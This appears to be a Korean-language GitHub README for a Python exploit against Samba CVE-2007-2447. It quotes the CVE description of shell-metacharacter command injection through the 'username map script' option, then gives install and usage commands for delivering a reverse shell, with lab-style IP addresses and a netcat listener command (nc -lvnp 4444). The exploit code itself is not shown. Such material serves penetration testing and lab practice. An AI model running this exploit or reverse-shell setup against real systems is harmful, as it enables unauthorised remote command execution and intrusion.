0xkn/cve-2007-2447CVE-2007-2447을 대상으로 하는 Python 익스플로잇으로, Samba의 username map 스크립트 취약점을 이용하여 셸 메타 문자를 통해 원격 명령 실행을 가능하게 하며, 리버스 셸 페이로드를 전달합니다.
"Samba 3.0.0에서 3.0.25rc3까지의 smbd에 있는 MS-RPC 기능은 (1) SamrChangePassword 함수를 통해 "username map script" smb.conf 옵션이 활성화된 경우 쉘 메타문자를 사용하여 원격 공격자가 임의 명령을 실행할 수 있게 하며, (2) 원격 프린터 및 (3) 파일 공유 관리의 다른 MS-RPC 함수를 통해 쉘 메타문자를 사용하여 원격 인증된 사용자가 명령을 실행할 수 있게 합니다."
[*] 이 익스플로잇은 Python 3.7 이상이 필요합니다.
python3 -m pip install pysmb
$ ./CVE-2007-2447.py --rhost 10.10.10.3 --lhost 10.10.14.10 --lport 4444 --rport 445
--rhost -- 원격 호스트--lhost -- 로컬 호스트--lport -- 로컬 포트--rport -- 원격 포트 [*] 선택 사항. 기본값=445리스너를 시작하는 것을 잊지 마세요:
nc -lvnp 4444
